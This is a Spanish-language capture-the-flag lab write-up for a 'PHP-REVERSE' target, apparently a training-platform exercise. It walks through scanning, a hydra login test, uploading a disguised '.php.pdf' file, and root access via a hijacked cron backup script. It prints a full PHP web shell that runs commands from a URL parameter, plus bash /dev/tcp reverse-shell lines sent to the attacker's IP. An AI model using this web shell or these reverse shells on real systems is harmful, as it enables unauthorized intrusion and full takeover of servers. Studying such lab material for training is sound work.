

Laboratorio REVERSE-PHP

Se procede con el escaneo utilizando la herramienta nmap.

```
nmap -sV -sC -O -p- -n -Pn 172.17.0.2
```

```
(samlab@Pentest)-[~/Escritorio/labs/reversephp/php-reverse]
$ nmap -sV -sC -O -p- -n -Pn 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-07 18:07 -0500
Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
8080/tcp  open  http      Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Inicio | TechCare Systems
|_http-cookie-flags:
|   /:
|     PHPSESSID:
|     httponly flag not set
```

Detectamos que el puerto 8080 con el servicio HTTP utilizando una aplicación Apache, este sirve para la comunicación web no cifrada, permitiendo a los navegadores solicitar y recibir páginas web de los servidores.

Al acceder a la siguiente dirección <http://172.17.0.2:8080/> encontramos el siguiente portal como se muestra en la captura.

Procedemos a realizar un fuzzing al directorio principal para de esta forma poder localizar algún directorio o archivo oculto mediante la herramienta Feroxbuster con su wordlist.

```
Target Url      http://172.17.0.2:8080/
In-Scope Url    172.17.0.2
Threads        5
Wordlist        /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
Status Codes    All Status Codes!
Timeout (secs)  7
User-Agent      feroxbuster/2.13.1
Config File     /home/samlab/.config/feroxbuster/ferox-config.toml
Extract Links   true
Output File     feroxbuster_scan.txt
Scan Dir Listings true
Extensions     [sh, js, php, env, bak, backup, old, html, gz, sql, txt, log]
HTTP methods    [GET]
Recursion Depth 5

Press [ENTER] to use the Scan Management Menu™

404 GET 9l 32w 314c Auto-filtering found 404-like response and created new filter;
toggle off with --dont-filter
403 GET 9l 29w 317c Auto-filtering found 404-like response and created new filter;
toggle off with --dont-filter
200 GET 105l 289w 5875c http://172.17.0.2:8080/
200 GET 105l 289w 5875c http://172.17.0.2:8080/index.php
301 GET 9l 29w 357c http://172.17.0.2:8080/uploads => http://172.17.0.2:8080/uploads/

[#####] - 7m 3109652/3109652 0s found:3 errors:0
[#####] - 7m 1554813/1554813 3588/s http://172.17.0.2:8080/
[#####] - 7m 1554813/1554813 3523/s http://172.17.0.2:8080/uploads/
```

No encontramos hallazgos o novedades en los resultados que muestra la herramienta. Se procede con el ataque de fuerza bruta al login de la web con la herramienta hydra en conjunto con el Wordlist Rockyou y el WordList users_admin para localizar las credenciales correctas.

```
hydra -l admin -p admin123 172.17.0.2 -s 8080 http-post-form
"/?page=login:username=^USER^&password=^PASS^&:F=Usuario o contraseña incorrecto" -V -f
```

```
$ hydra -l admin -p admin123 172.17.0.2 -s 8080 \
http-post-form "/?page=login:username=^USER^&password=^PASS^&:F=Usuario o contraseña incorrecto" -V -f
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-07 20:16:23
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking http-post-form://172.17.0.2:8080/?page=login:username=^USER^&password=^PASS^&:F=Usuario o
contraseña incorrecto
[ATTEMPT] target 172.17.0.2 - login "admin" - pass "admin123" - 1 of 1 [child 0] (0/0)
[8080][http-post-form] host: 172.17.0.2 login: admin password: admin123
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-07 20:16:23
```

Ingresamos al portal con las credenciales que se pudo descubrir con la herramienta hydra

Panel Principal

Bienvenido, **admin** — Administrador del Sistema

5
Citas urgentes

34
Citas hoy

28
Confirmadas

12
Docs pendientes

Módulos disponibles

Módulo	Descripción	Acceso
 Gestión de Citas	Programar, confirmar y cancelar citas médicas	DISPONIBLE
 Pacientes	Consulta de expedientes clínicos	DISPONIBLE
 Subir Documentos	Resultados de lab, radiografías, consentimientos	DISPONIBLE
 Facturación	Gestión de pagos y seguros médicos	EN DESARROLLO

Citas urgentes del día

#	Paciente	Médico	Motivo	Hora
C-0441	María González	Dr. Ramírez	Control post-operatorio	08:30
C-0438	Jorge Peñaloza	Dra. Castro	Resultado de biopsia	09:00

Encontramos una sección de la página el cual nos permite subir documentación, este permite la caga de archivos JPG, PNG y PDF con un máximo de 10 GB el cual estaría presentando una vulnerabilidad si no está correctamente configurado.

Ejecutaremos un reverse shell creando un archivo con extensión pdf.

#1. Guardar el webshell como “shell.php”
nano shell.php

#2 Subirlo al servidor.

#3. Acceder desde el navegador.

```
<!DOCTYPE html>
<html>
<head>
  <title>Web Terminal</title>
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
    body {
      background: #0a0c10;
      color: #c9d1d9;
      font-family: 'SF Mono', 'Courier New', 'Fira Code', monospace;
      font-size: 14px;
      height: 100vh;
      display: flex;
      justify-content: center;
      align-items: center;
    }
    .container {
      width: 90%;
      max-width: 1000px;
      height: 85vh;
      background: #0d1117;
      border-radius: 12px;
      border: 1px solid #21262d;
      overflow: hidden;
      display: flex;
      flex-direction: column;
    }
    .header {
      padding: 12px 16px;
      background: #161b22;
      border-bottom: 1px solid #21262d;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .header h2 {
      font-size: 13px;
      font-weight: 500;
      color: #8b949e;
    }
    .header h2 span {
```

```
    color: #2f81f7;
}
.reverse-btn {
    background: #21262d;
    color: #c9d1d9;
    border: 1px solid #30363d;
    padding: 4px 12px;
    border-radius: 6px;
    font-size: 12px;
    cursor: pointer;
    font-family: monospace;
    transition: 0.2s;
}
.reverse-btn:hover {
    background: #2f81f7;
    color: white;
    border-color: #2f81f7;
}
.reverse-panel {
    background: #0d1117;
    border-bottom: 1px solid #21262d;
    padding: 12px 16px;
    display: none;
    gap: 12px;
    align-items: center;
    flex-wrap: wrap;
}
.reverse-panel input {
    background: #0a0c10;
    border: 1px solid #30363d;
    color: #c9d1d9;
    padding: 6px 10px;
    border-radius: 6px;
    font-family: monospace;
    font-size: 12px;
    outline: none;
}
.reverse-panel input:focus {
    border-color: #2f81f7;
}
.reverse-panel button {
    background: #238636;
    border: none;
    color: white;
    padding: 6px 14px;
    border-radius: 6px;
    font-family: monospace;
    font-size: 12px;
    cursor: pointer;
```

```
}  
.reverse-panel button:hover {  
  background: #2ea043;  
}  
.reverse-output {  
  font-size: 11px;  
  color: #8b949e;  
  margin-left: auto;  
}  
.terminal {  
  flex: 1;  
  background: #0a0c10;  
  overflow-y: auto;  
  padding: 16px;  
  font-size: 13px;  
}  
.output-line {  
  color: #ce9178;  
  margin-bottom: 4px;  
  white-space: pre-wrap;  
  word-break: break-all;  
}  
.command-line {  
  display: flex;  
  align-items: center;  
  gap: 8px;  
  padding-top: 8px;  
}  
.prompt {  
  color: #2f81f7;  
  font-weight: 500;  
}  
.command-input {  
  flex: 1;  
  background: transparent;  
  border: none;  
  color: #c9d1d9;  
  font-family: monospace;  
  font-size: 13px;  
  outline: none;  
}  
.command-input::placeholder {  
  color: #3b434c;  
}  
::-webkit-scrollbar {  
  width: 6px;  
}  
::-webkit-scrollbar-track {  
  background: #0a0c10;
```

```

    }
    ::-webkit-scrollbar-thumb {
        background: #30363d;
        border-radius: 4px;
    }
</style>
</head>
<body>
<div class="container">
    <div class="header">
        <h2> 🐙 <span>web@shell</span> ~ $</h2>
        <button class="reverse-btn" onclick="toggleReverse()"> 🚫 reverse</button>
    </div>
    <div id="reversePanel" class="reverse-panel">
        <input type="text" id="ip" placeholder="IP" value="172.17.0.1">
        <input type="number" id="port" placeholder="Puerto" value="4444">
        <button onclick="executeReverse()">conectar</button>
        <div id="reverseOutput" class="reverse-output"></div>
    </div>
    <div class="terminal" id="terminal">
        <div id="output-area"></div>
        <div class="command-line">
            <span class="prompt">$></span>
            <input type="text" id="command" class="command-input" placeholder="comando..."
autofocus>
        </div>
    </div>
</div>

<script>
function toggleReverse() {
    var panel = document.getElementById('reversePanel');
    panel.style.display = panel.style.display === 'none' || panel.style.display === '' ? 'flex' : 'none';
}

function executeReverse() {
    var ip = document.getElementById('ip').value;
    var port = document.getElementById('port').value;
    var output = document.getElementById('reverseOutput');
    var cmd = `bash -c "bash -i >& /dev/tcp/${ip}/${port} 0>&1" &`;

    output.innerHTML = `→ conectando a ${ip}:${port}...`;

    fetch('?cmd=' + encodeURIComponent(cmd))
        .then(() => {
            output.innerHTML = `✓ reverse enviada a ${ip}:${port}`;
        })
        .catch(() => {
            output.innerHTML = `X error al enviar`;
        })

```

```

    });
}

const outputArea = document.getElementById('output-area');
const commandInput = document.getElementById('command');

function executeCommand(cmd) {
    if (cmd.trim() === '') return;

    outputArea.innerHTML += `<div class="output-line"><span style="color:#2f81f7">${escapeHtml(cmd)}</span>
    ${escapeHtml(cmd)}</div>`;

    fetch('?cmd=' + encodeURIComponent(cmd))
        .then(response => response.text())
        .then(data => {
            if (data.trim()) {
                outputArea.innerHTML += `<div class="output-line">${escapeHtml(data)}</div>`;
            }
            const terminal = document.getElementById('terminal');
            terminal.scrollTop = terminal.scrollHeight;
        });

    commandInput.value = "";
}

function escapeHtml(str) {
    return str.replace(/[/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}

commandInput.addEventListener('keypress', (e) => {
    if (e.key === 'Enter') {
        executeCommand(commandInput.value);
    }
});
</script>

<?php
if(isset($_GET['cmd'])){
    echo system($_GET['cmd']);
}
?>
</body>
</html>

```


Cargar nuevo documento

Formatos aceptados: JPG, PNG, GIF, PDF.
Tamaño máximo: 10MB. Los archivos quedan disponibles en el sistema.

Selecciona el documento

Browse...

No file selected.

Arrastra el archivo o haz clic para seleccionar

Paciente asociado

— Seleccionar paciente —

Tipo de documento

Resultado de laboratorio

Subir documento →

Documentos subidos recientemente

Archivo	Paciente	Tipo	Fecha
shell.php.pdf	—	Documento	2026-05-08
shell1.php.pdf	—	Documento	2026-05-08
shell2.php.pdf	—	Documento	2026-05-08

Se ejecuta el shell mostrando la siguiente captura al ejecutar el comando whoami

Se ejecuta el comando Netcat en modo escucha para poder recibir la conexión de la reverse
Shell nc -lvp 4444

netcat@shell ~ \$

reverse

172.17.0.1 4444

conectar

 ~ conectando a 172.17.0.1:4444...

\$> comando ...

Después de varios intentos se puede confirmar que la reverse shell ha funcionado.

```
(samlab@Pentest)-[~/Escritorio/labs/reversehp/php-reverse]
$ cp shell2.php shell2.php.pdf

(samlab@Pentest)-[~/Escritorio/labs/reversehp/php-reverse]
$ nc -lvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 37498
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@php-reverse:/var/www/html/uploads$
```

Se procede con la escalada de privilegios buscando binarios SUID

```
find / -type f -perm -4000 -ls 2>/dev/null
```

No encontramos novedades.

```
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 37498
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@php-reverse:/var/www/html/uploads$ find / -type f -perm -4000 -ls 2>/dev/null
/var/www/html/uploads$ find / -type f -perm -4000 -ls 2>/dev/null
3814776 1336 -rwsr-xr-x 1 root root 1364776 Oct 28 2024 /usr/sbin/exim4
3196348 64 -rwsr-xr-x 1 root root 63960 Apr 18 2025 /usr/bin/passwd
3196338 44 -rwsr-xr-x 1 root root 44632 Apr 18 2025 /usr/bin/newgrp
3196248 52 -rwsr-xr-x 1 root root 52880 Apr 18 2025 /usr/bin/chsh
3196245 60 -rwsr-xr-x 1 root root 58416 Apr 18 2025 /usr/bin/chfn
3196295 88 -rwsr-xr-x 1 root root 88304 Apr 18 2025 /usr/bin/gpasswd
3589035 180 -rwsr-xr-x 1 root root 182600 Feb 6 18:58 /usr/bin/sudo
2885456 56 -rwsr-xr-x 1 root root 55528 Mar 28 2024 /bin/mount
2885769 72 -rwsr-xr-x 1 root root 71912 Mar 28 2024 /bin/su
2885960 36 -rwsr-xr-x 1 root root 35040 Mar 28 2024 /bin/umount
```

Se procede con la búsqueda de los binarios SGID `find / -type f -perm -2000 -ls 2>/dev/null`

```
www-data@php-reverse:/var/www/html/uploads$ find / -type f -perm -2000 -ls 2>/dev/null
/var/www/html/uploads$ find / -type f -perm -2000 -ls 2>/dev/null
3196214 40 -rwxr-sr-x 1 root shadow 38912 Aug 3 2025 /sbin/unix_chkpwd
3196242 80 -rwxr-sr-x 1 root shadow 80256 Apr 18 2025 /usr/bin/chage
3196282 32 -rwxr-sr-x 1 root shadow 31160 Apr 18 2025 /usr/bin/expiry
3588936 16 -rwxr-sr-x 1 root root 15208 Nov 19 2020 /usr/bin/dotlock.mailutils
3588931 44 -rwxr-sr-x 1 root crontab 43568 Feb 22 2021 /usr/bin/crontab
www-data@php-reverse:/var/www/html/uploads$
```

Verificamos las tareas programadas del sistema y no encontramos novedades, es decir, no se encuentra tareas configuradas.

```
www-data@php-reverse:/var/www/html/uploads$ ls -al /etc/crontab
ls -al /etc/crontab
-rw-r--r-- 1 root root 1042 Feb 22 2021 /etc/crontab
www-data@php-reverse:/var/www/html/uploads$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@php-reverse:/var/www/html/uploads$ ls -al /etc
ls -al /etc
total 532
```

Se realiza una revisión del directorio de tareas del sistema /etc/cron.d/, encontrando una tarea bajo el nombre “backup-job”.

```
www-data@php-reverse:/etc/cron.d$ ls -al
ls -al
total 24
drwxr-xr-x 1 root root 4096 Mar 1 04:59 .
drwxr-xr-x 1 root root 4096 May 8 01:00 ..
-rw-r--r-- 1 root root 102 Feb 22 2021 .placeholder
-rw-r--r-- 1 root root 38 Mar 1 04:59 backup-job
-rw-r--r-- 1 root root 201 Jun 7 2021 e2scrub_all
-rw-r--r-- 1 root root 712 May 11 2020 php
www-data@php-reverse:/etc/cron.d$
```

Se visualiza la tarea para validar su funcionamiento, y este ejecuta un script cada minuto en el equipo.

```
www-data@php-reverse:/etc/cron.d$ cat backup-job
cat backup-job
* * * * * root /opt/scripts/backup.sh
www-data@php-reverse:/etc/cron.d$
```

Se visualiza el script confirmando que realiza una copia de seguridad de los archivos que se encuentra en el directorio /var/html/uploads/

```
www-data@php-reverse:/etc/cron.d$ cd /opt/scripts
cd /opt/scripts
www-data@php-reverse:/opt/scripts$ ls
ls
backup.sh
www-data@php-reverse:/opt/scripts$ cat backup.sh
cat backup.sh
#!/bin/bash
# Script de respaldo automatico - TechCare Systems
tar -czf /tmp/backup_$(date +%Y%m%d).tar.gz /var/www/html/uploads/ 2>/dev/null
www-data@php-reverse:/opt/scripts$
```

Modificamos el archivo backup.sh con el shell reverse printf '#!/bin/bash\nbash -i >& /dev/tcp/172.17.0.1/4444 0>&1\n' > /opt/scripts/backup.sh

```
www-data@php-reverse:/opt/scripts$ printf '#!/bin/bash\nbash -i >& /dev/tcp/172.17.0.1/4444 0>&1\n' > /opt
/scripts/backup.sh
www-data@php-reverse:/opt/scripts$ cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\n' > /opt/scripts/backup.sh
www-data@php-reverse:/opt/scripts$ cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\n' > /opt/scripts/backup.sh
www-data@php-reverse:/opt/scripts$
```

```
nc -lvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 36630
bash: cannot set terminal process group (4434): Inappropriate ioctl for device
bash: no job control in this shell
root@php-reverse:~# cat flag.txt
cat flag.txt
PHP-REVERSE{f1l3_upl04d_php_w3bsh3ll_cr0n_pr1v3sc}
root@php-reverse:~#
ls
drwxr-xr-x 1 root root 4096 May 8 01:00 ..
-rwxr-xr-x 1 root root 0 May 8 01:00 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 1 04:59 bin
drwxr-xr-x 2 root root 4096 Aug 14 2024 boot
drwxr-xr-x 5 root root 340 May 8 01:00 dev
drwxr-xr-x 1 root root 4096 May 8 01:00 etc
drwxr-xr-x 1 root root 4096 Mar 1 04:59 home
drwxr-xr-x 1 root root 4096 Feb 23 00:00 lib
drwxr-xr-x 2 root root 4096 Feb 23 00:00 lib64
drwxr-xr-x 2 root root 4096 Feb 23 00:00 media
drwxr-xr-x 2 root root 4096 Feb 23 00:00 mnt
drwxr-xr-x 1 root root 4096 Mar 1 04:59 opt
dr-xr-xr-x 352 root root 0 May 8 01:00 proc
drwxr-xr-x 1 root root 4096 Mar 1 04:59 root
drwxr-xr-x 1 root root 4096 May 8 07:16 run
drwxr-xr-x 1 root root 4096 Mar 1 04:59/sbin
drwxr-xr-x 2 root root 4096 Feb 23 00:00 srv
-rwxr-xr-x 1 root root 552 Mar 1 04:59 start.sh
dr-xr-xr-x 13 root root 0 May 8 01:00 sys
drwxrwxrwt 1 root root 4096 May 8 07:01 tmp
drwxr-xr-x 1 root root 4096 Feb 23 00:00 usr
drwxr-xr-x 1 root root 4096 Mar 1 04:59 var
root@php-reverse:~# ls -al
```

Entrena pentesting en escenarios reales.

Simula ataques • Documenta hallazgos • Progresas como hacker ético.

[*] Inicializando laboratorio ofensivo....

[+] Imagen lista para desplegar

[*] Desplegando laboratorio ofensivo...

[v] Escenario listo para el ataque.

Laboratorio: PHP-REVERSE
Dificultad: ******** medio
Recompensa: 3 XP

Objetivo accesible en: 172.17.0.2

Formato esperado: PHP-REVERSE{ ... }

Ingresa la flag: PHP-REVERSE{f1l3_upl04d_php_w3bsh3ll_cr0n_pr1v3sc}

Objetivo comprometido con éxito.

Has dominado el laboratorio: PHP-REVERSE

Sigues avanzando como pentester ofensivo.

FECHA Y HORA: 2026-05-08 04:09:03 -0500

[*] Presiona Ctrl+C para eliminar el laboratorio
